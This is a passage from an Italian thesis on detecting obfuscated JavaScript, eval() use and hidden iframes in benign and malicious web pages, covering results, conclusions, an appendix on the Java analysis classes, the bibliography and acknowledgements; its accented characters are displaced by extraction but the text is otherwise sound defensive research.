    • 61 Utilizzo di tecniche di offuscamento al 70%. Nel seguito si riportano i due grafici a barre relativi alle percentuali di script offuscati rilevate dal classificatore MLP (grafico 6.13) e da quello costruito sulle soglie (grafico 6.14). Figura 6.13: Grafico a barre sulla percentuale di script offuscati ricavata tramite il classificatore MLP Anche la suddivisione fra le varie categorie all’interno della stessa tipologia di pagina varia a seconda del criterio di offuscamento adottato. Il classificatore MLP, infatti indi- vidua script offuscati quasi esclusivamente nella categoria Child Script, mentre il secondo mette in evidenza un uso spinto di queste tecniche fra gli Script Embedded delle pagine Malicious. Figura 6.14: Grafico a barre sulla percentuale di script offuscati ricavata tramite il classificatore basato sulle soglie
    • 6. Analisi 62 6.6.1 Diffusione dell’utilizzo di unescape() Poich´ spesso l’esecuzione di codice offuscato ` legata al binomio eval-unescape (vedi e e la sezione 5.6.1 di pagina 34), si ` deciso di indagare anche sull’utilizzo della funzione e unescape(). Osservando complessivamente le pagine, dal grafico 6.15 si evince che in poco pi` del u 3% degli script ` presente l’utilizzo di unescape(), ma se si va a guardare la percentuale e delle sole pagine Malicious essa supera il 12%. Gli script delle pagine Interesting, invece, non fanno uso di questa funzione. Figura 6.15: Grafico a barre sull’utilizzo di unescape() Se dall’uso generale di unescape() si passa a considerare quello relativo alla stessa funzione con argomento offuscato, la divergenza fra pagine Normal e Malicious appare ancora pi` netta, come si nota nel grafico 6.16. u Figura 6.16: Grafico a barre sull’utilizzo di unescape() con argomento offuscato
    • 63 Utilizzo di tecniche di offuscamento 6.6.2 Relazioni fra le features di offuscamento delle propriet` a Come ultimo grafico si riporta la matrice dei diagrammi di dispersione costruita sulle features ottenutete a partire dalle elaborazioni sulle propriet` estratte dagli script e a descritte in Tabella 5.3 a pagina 49. Ogni “quadrante” della matrice evidenzia il rapporto che c’` fra una specifica coppia e di features (riportate lungo la diagonale). Dalla sparsit` dei diagrammi si pu` notare che non esistono correlazioni spiccate fra a o le features. Questo fatto mette in risalto come la scelta delle stesse non sia stata affetta da ridondanze. Figura 6.17: Matrice dei diagrammi di dispersione
    • Capitolo 7 Conclusioni e sviluppi futuri Lungo questo elaborato sono state illustrate le fasi dell’attivit` di ricerca volta alla a caratterizzazione dell’utilizzo odierno di script JavaScript, frame e iframe all’interno delle pagine web. Per raggiungere questo obiettivo si ` deciso di condurre lo studio in modo tale da e fornire una risposta a cinque quesiti: Quanto ` diffusa l’inclusione di script da url e diversi? A che profondit` di inclusione si arriva per includere script? Quanto ` diffuso a e l’utilizzo di eval()? Quanto ` diffusa l’inclusione di frame e iframe sospettosamente e piccoli? Quanto ` diffuso l’utilizzo di tecniche di offuscamento? e A tal scopo si ` voluto realizzare un dataset di pagine che cercasse di rispecchiare lo e scenario attuale del Web. A seconda della fonte di scaricamento, le pagine sono state suddivise in tre categorie: Normal, Malicious ed Interesting. Una volta ultimata la collezione di pagine, si ` proceduto con l’analisi vera e propria e degli script, dei frame e degli iframe. Per alcune delle domande si ` potuto rispondere effettuando delle interrogazioni e sui dati estratti, mentre in altri casi ` stato necessario sottoporre tali dati a delle e elaborazioni. Durante lo studio condotto, si ` riscontrato l’uso frequente dell’inclusione di script e da domini diversi. Quasi la totalit` delle pagine che contengono script, infatti, include a codice da almeno un dominio diverso dal proprio. Se si considera poi, la massima profondit` di inclusione di script, intesa come numero a di nodi nella catena di prelievo di uno script, si evince che per la maggior parte delle pagine essa ` pari a due. Il livello di profondit` due ` quello tipico di uno script Remote e a e Child, cio` uno script il cui codice ` specificato in un’altra pagina web (da cui il nome e e Child ) che si trova su un dominio diverso (da cui l’aggettivo Remote) della pagina che lo include. Questa categoria di script ` ampliamente sfruttata all’interno delle pagine web e ad esempio per inserire pubblicit` o per permettere a siti terzi di monitorare il traffico a di visitatori. L’attenzione dello studio si ` poi riversata sull’utilizzo della controversa funzione e JavaScript eval(). Questo ` un tipico esempio di funzione prevista dai moderni linguaggi e 65
    • 7. Conclusioni e sviluppi futuri 66 di scripting che permettono la dynamic evaluation. La funzione eval() ` un potente e strumento JavaScript per eseguire frammenti di codice runtime; pensata soprattutto come scorciatoia per il programmatore, pu` rappresentare un grave problema per la o sicurezza dell’applicazione nel caso in cui il frammento di codice eseguito dinamicamente contenga input non opportunamente validato. Inoltre, poich´ le tecniche d’offuscamento e fanno anche uso di operazioni su stringhe, spesso, nel codice offuscato, si nota la presenza della funzione eval(); in questi casi, l’argomento della funzione si rivela codice offuscato che viene deoffuscato e conseguentemente eseguito proprio tramite eval(). Nelle nostre analisi si ` riscontrato che nel 2,7% degli script, presenti nelle pagine e Normal, viene fatto uso di eval(), percentuale che triplica nel caso delle pagine Malicious e Interesting. Ancora, mentre in quest’ultimo tipo di pagine e, soprattutto, nelle Normal la maggior parte degli script contenenti eval() fa parte della categoria Child Script, nelle pagine Malicious l’uso della funzione in esame ` predominante nei Local Embedded Script, e quindi in quegli script il cui codice ` definito all’interno della pagina. e Parte della ricerca si ` soffermata sullo studio dei frame e degli iframe “sospetto- e samente piccoli”, poich´ talvolta si dimostrano veicolo di malware. In alcuni tipi di e attacchi, i siti web vengono compromessi a seguito di un’iniezione di codice al loro in- terno. In molte situazioni, il nuovo contenuto ` un link che “dirotta” il visitatore verso e un URL nocivo per il sistema dell’utente. Per eludere il controllo visivo dei proprietari del sito web infettatto, spesso tali URL vengono inseriti all’interno di iframe “invisibili” o quasi. Il nostro studio ha evidenziato che la pratica di inserire frame o iframe molto “piccoli” non ` infrequente neanche nelle pagine Normal, che non dovrebbero essere veicolo di dif- e fusione di malware. Infatti, nell’8,5% delle pagine Normal esaminate ` stata riscontrata e l’inclusione di un frame o di un iframe “invisibile”. Come previsto fino dalla stesura delle cinque macro domande, l’analisi del fenomeno relativo all’offuscamento degli script si ` rivelata la questione al contempo pi` delicata e u e ostica da affrontare. Ci si ` avvicinati al problema sfruttando due diversi criteri per stabilire se uno script e fosse offuscato o meno. Il primo basato su un classificatore Multilayer Perceptron costrui- to sui risultati ottenuti da test svolti da analisti scelti di codice JavaScript. Il secondo sviluppato imponendo delle soglie a particolari features ricavate dall’elaborazione di 14 propriet` estratte da ciascuno script. a Ci` che si ` potuto osservare ` che il classificatore MLP si dimostra pi` conservativo e o e e u meno fallace. Infatti, se da un lato ` stato riscontrato come questo classificatore individui e meno script offuscati rispetto al secondo, dall’altro si ` constatato come lo stesso presenti e anche un minor numero di falsi positivi. Anche la suddivisione degli script offuscati, fra le varie categorie di script all’interno della stessa pagina, varia a seconda del criterio di offuscamento adottato. Mentre il classificatore MLP rileva il fenomeno dell’offuscamento qualsi esclusivamente all’interno della categoria Child Script, il classificatore costruito sulle soglie mette in evidenza un uso spinto di queste tecniche fra gli Script Embedded delle pagine Malicious. La complessit` riscontrata nel tentativo di realizzare un rivelatore automatico di a
    • 67 offuscamento risulta legittima se si prendono in considerazione i dati relativi alla difficolt` a provata dagli stessi analisti nel definire se un codice fosse o meno offuscato: per quasi il 19% dei 691 script con due o pi` valutazioni, gli esaminatori hanno fornito giudizi u discordanti o non hanno saputo esporsi; inoltre, per quasi il 18% dei 561 script utilizzati per costruire il classificatore MLP, la percentuale in favore del giudizio ` risultata inferiore e al 70%. Questo studio rappresenta solo l’inizio di un’attivit` di ricerca che tra gli sviluppi a futuri si propone di affinare le tecniche volte all’individuazione di codici offuscati; in tal senso verranno identificate ulteriori propriet` da estrarre dai codici, procedendo poi con a la valutazione sulla concreta efficacia delle stesse nel predire l’offuscamento. Nel prossimo futuro, inoltre, i vari fenomeni oggetto di questo studio verranno sotto- posti ad analisi aggiuntive con l’ambizioso obiettivo di cercare l’esistenza di una suddivi- sione fra pagine benigne e maligne. Se ci` risultasse fattibile, l’attenzione si riverserebbe o su un interrogativo che, se risolto, porterebbe con s` risvolti di enorme portata: stabilire e l’esistenza della possibilit` di classificare le pagine, senza disporre di liste aggiornate sui a siti infetti. In questo modo si arriverebbe a sancire se una pagina ` benigna o maligna e senza possedere conoscenza a priori circa la sua natura. Un ulteriore sviluppo futuro si intravede nello studio dell’aspetto dinamico delle pa- gine, con l’intento di fornire una descrizione di ogni singola pagina basata sulla sua evoluzione temporale. Questo ramo d’indagine potrebbe rivelarsi parallelo e ausiliario al precedente in termini di caratterizzazione di pagine. Si pensi all’iniezione di codice dannoso all’interno di una pagina vittima di un attacco; a seguito dell’introduzione del nuovo contenuto (potrebbe essere un iframe con un collegamento esterno, oppure uno script offuscato con un richiamo verso un altro codice localizzato in un diverso domi- nio) l’aspetto della pagina, rilevato dalla sua analisi, subirebbe una variazione rispetto a quello della situazione precedente l’intromissione. Sarebbe interessante capire, dal- l’esame dell’evoluzione temporale delle pagine, se le manipolazioni fraudolente possano essere distinte dalle modifiche legittime cui periodicamente le pagine sono soggette. Ci` o rappresenterebbe un uteriore strumento per discernere le pagine maligne dalle pagine benigne e il traguardo potrebbe dirsi raggiunto.
    • Appendice A Il codice Nel seguito si passano in rassegna le principali classi sviluppate per l’analisi di script JavaScript, frame e iframe, descrivendo brevemente i metodi definiti all’interno di quelle. Per ogni url scaricato tramite Goldrake vengono salvati due file. Il primo presenta la lista degli script legati all’url, contenente per ogni script anche tutte le informazioni relative allo scaricamento dello stesso. Il secondo riporta una lista analoga ma associata ai frame e agli iframe della pagina di cui si ` effettuato il download. e A.1 Oggetto PageAnalizer L’oggetto PageAnalizer crea gli oggetti ScriptAnalizer e FrameAndIframeAnalizer per l’elaborazione dei due file associati ad un url scaricato tramite Goldrake e contenenti uno l’insieme degli script e l’altro l’insieme dei frame e degli iframe associati alla pagina a quell’url. Al termine di questa fase, PageAnalizer aggiunge un riga alla tabella Ts per ogni script e una alla tabella Ti per ogni frame e iframe associati alla pagina. A.1.1 Metodi dell’oggetto PageAnalizer La classe PageAnalizer definisce i seguenti metodi: • public PageAnalizer(): costruttore della classe che inizializza lo stato dell’ogget- to; • public Connection connectToDB(): metodo che consente la connessione al data- base e quindi il popolamento delle tabelle Ts e Ti ; • public void getScriptsList(String serializedFileName script, Connection con): me- todo che prende in input il nome del file in cui ` serializzata la lista degli script e della pagina. Per ogni elemento della lista inizializza l’oggetto ScriptAnalizer e, al termine dell’elaborazione di quest’ultimo, aggiunge una riga alla tabella Ts ; 69
    • A. Il codice 70 • public void getIframesList(String serializedFileName iframe, Connection con): metodo che prende in input il nome del file in cui ` serializzata la lista dei fra- e me e degli iframe della pagina. Per ogni elemento della lista inizializza l’oggetto FrameAndIframeAnalizer e, al termine dell’elaborazione di quest’ultimo, aggiunge una riga alla tabella Ti ; • public ArrayList<String> listOfPagesToAnalize(String fileName): metodo che prende in input il nome del file in cui ` contenuto l’elenco degli identificatori delle e pagine di cui si vuole eseguire l’analisi e fornisce come output una lista contenente i rispettivi URL delle pagine; • public static void main(String[] args): metodo che inizializza il costruttore del- la classe, crea gli oggetti ScriptAnalizer e FrameAndIframeAnalizer, invoca il metodo listOfPageToAnalize e per ogni URL della lista chiama i metodi getScriptsList e getIframesList. A.2 Oggetto ScriptAnalizer L’oggetto ScriptAnalizer compie delle elaborazioni sul codice di uno script, al termine delle quali fornisce all’oggetto PageAnalizer il set di propriet` estratte dallo script, a descritte nella Tabella 5.1 riportata al paragrafo 5.9.2. A.2.1 Metodi dell’oggetto ScriptAnalizer La classe ScriptAnalizer definisce i seguenti metodi: • public ScriptAnalizer(): costruttore della classe che inizializza lo stato dell’og- getto; • public void scriptLenght(): metodo che calcola la dimensione in caratteri dello script; • public void functionsFinder(): metodo che individua le funzioni dello script defi- nite dal programmatore e per ognuna invoca il metodo calculateCodeObfuscation() fornendo in input in nome della funzione; • public int functionLenght(Scanner scan): metodo che ritorna la dimensione in caratteri dell’argomento di una funzione definita dall’utente; • public void documentWriteFinder(): metodo che individua i document.write() contenuti all’interno dello script e invoca il metodo calculateCodeObfucation() passando come parametro l’argomento del document.write(); • public void iframeFinder(): metodo che individua gli iframe contenuti all’interno dello script, invoca il metodo calculateCodeObfucation() passando come para- metro l’argomento del iframe e, sempre con l’argomento, inizializza un oggetto FrameAndIframeAnalizer per l’estrazione delle propriet` dell’iframe; a
    • 71 Oggetto FrameAndIframeAnalizer • public int varsFinder(): metodo che individua le variabili definite all’interno dello script. Una volta trovata una variabile, invoca il metodo calculateCodeObfuscation() sul nome e sull’argomento di quella; • public void nativeFunctionFinder(): metodo che individua le funzioni native (eval(), unescape(), decode(), onerror(), exec(), String.fromCharCode(), String.charCodeAt() e Math.random()) chiamate all’interno dello script e per ciascuna invoca il metodo nativeFunctionAnalizer(); • public void nativeFunctionAnalizer(String line, String nameFunction, Scanner scan): metodo che analizza l’argomento delle funzioni native, invoca il metodo calculateCodeObfucation() e, a seconda della funzione offuscata, aggiorna il relativo contatore; • public void longStringAnalizer(String str): metodo che individua nello script le stringhe con un numero di caratteri superiore a 140 e passa in input ai metodi isAPlainSequence() e calculateCodeObfucation() l’argomento di quelle; • public boolean isAPlainSequence(String str): metodo che analizza una stringa e ritorna true se il numero di caratteri speciali ` inferiore al 5% della dimensione e totale della stringa; • public double countSpecialChars(String str): metodo che restituisce il numero di caratteri speciali di una stringa; • public double calculateCodeObfucation(String str): metodo che ritorna la per- centuale di offuscamento di una stringa (p nella formula definita nella sottosezione 5.9.1.1), invocando al suo interno il metodo countSpecialChars(); • public void makeOutputScript(): metodo che riassume i valori delle propriet` a estratte dallo script, cos` come sono elencate nella Tabella 5.1 descritta al paragrafo ı 5.9.2. A.3 Oggetto FrameAndIframeAnalizer L’oggetto FrameAndIframeAnalizer estrae le propriet` di frame e iframe. a A.3.1 Metodi dell’oggetto FrameAndIframeAnalizer La classe FrameAndIframeAnalizer definisce i seguenti metodi: • public FrameAndIframeAnalizer(): costruttore della classe che inizializza lo stato dell’oggetto; • public void getIFrameAttributes(): metodo che estrae i valori degli attributi width, height e src del frame o dell’iframe, analizzando l’argomento dello stesso.
    • Bibliografia e siti web consultati [1] N. Provos, P. Mavrommatis, M. Abu Rajab, F. Monrose. All iframe point to us. In Google Technical Report provos-2008a. Febbraio 2008. [2] N. Provos, D. McNamee, P. Mavrommatis, K. Wang, N. Modadugu. The ghost in the browser. Analysis of web-based malware. In Proceedings of the first conference on First Workshop on Hot Topics in Understanding Botnets. 2007. [3] C. Yue , H. Wang. Characterizing insecure javascript practices on the web. In Proceedings of the 18th international conference on World wide web. Aprile 2009. [4] Alexa. http://www.alexa.com/company [5] Alexa. http://it.wikipedia.org/wiki/Alexa [6] MalwareDomainList. http://www.who.is/whois/malwaredomainlist.com/ [7] Stunnix. http://www.stunnix.com/ [8] Jasob. http://www.jasob.com/ [9] Websense. http://www.websense.com/threatreport [10] Websense. http://www.websense.com/content/Regional/Italy/NewsRoom.aspx?ID=1844 [11] Sophos. http://www.sophos.com/blogs/sophoslabs/v/post/4405 73
    • BIBLIOGRAFIA E SITI WEB CONSULTATI74 [12] Anatomy of a typical exploit. http://www.provos.org/index.php?/archives/3-Anatomy-of-a-typical-exploit.html [13] Evolution of hidden iframes. http://blog.unmaskparasites.com/2009/10/28/evolution-of-hidden-iframes/ [14] Phishing. http://www.fraudwatchinternational.com/phishing-fraud/phishing-web-site-methods/ [15] Script, frame, iframe. http://www.w3.org/TR/REC-html40/present/frames.html [16] Http request, http response. http://it.kioskea.net [17] Overhead. http://it.wikipedia.org/wiki/Overhead [18] JSON. http://json.org/ [19] Figura 5.1. http://files.myopera.com/QAPOcVuetr/albums/692153/drive-by-download.jpg
    • Ringraziamenti Desidero ringraziare in maniera sentita il Prof. Alberto Bartoli per avermi offerto la possibilit` di far parte del suo laboratorio, a concedendomi, cos` di trascorrere un periodo ı, a stretto contatto con il mondo della ricerca. Un grazie incommensurabile all’Ing. Medvet, o meglio Eric, che si ` dimostrato oltremodo disponibile e nel seguire la mia attivit` lungo tutto il periodo, a chiarendo i miei dubbi e non facendomi mai mancare il suo supporto. Impossibile dimenticare Enrico, Giorgio e il resto della squadra del laboratorio che mi hanno accolto nel migliore dei modi, senza mai negarmi un aiuto e colorando le ore passate assieme con le frequenti facezie. Grazie alle mie sorelle per l’esempio che mi hanno dato e per l’appoggio che non mi hanno mai fatto mancare. Voglio ricordare anche i miei cognati per la loro generosit` sconfinata; a cognati quasi fratelli che, come tali, con il resto della mia famiglia, si sono subiti i miei sfoghi di tensione e le mie “lune”. Un ringraziamento che non pu` trovare lo spazio appropriato o fra le ultime righe di questa tesi, lo devo ai miei amici, vecchi e nuovi, che hanno allietato il mio passato, che rendono unico il mio presente, e che spero continueranno a farmi dono 75
    • Ringraziamenti 76 della loro presenza nel mio futuro. Non mi sembra opportuno ringraziarli ad uno ad uno, perch´ sarebbe un elenco troppo lungo e e soprattutto perch´ citare i loro nomi e conferirebbe un ordine implicito che non renderebbe giustizia e non rispecchierebbe i miei sentimenti. Infine, il mio pensiero va ai miei genitori i quali mi hanno dato tutto un affetto senza limiti, una giusta educazione, un sostegno nei periodi di necessit`. a . . . ai miei genitori che hanno favorito le mie passioni e che tuttora si prodigano in questa direzione. . . . ai miei genitori perch´ credo e non avrei potuto averne di migliori. . . . ai miei genitori ai quali, pur avendolo sempre pensato, non ho mai saputo dire: Grazie.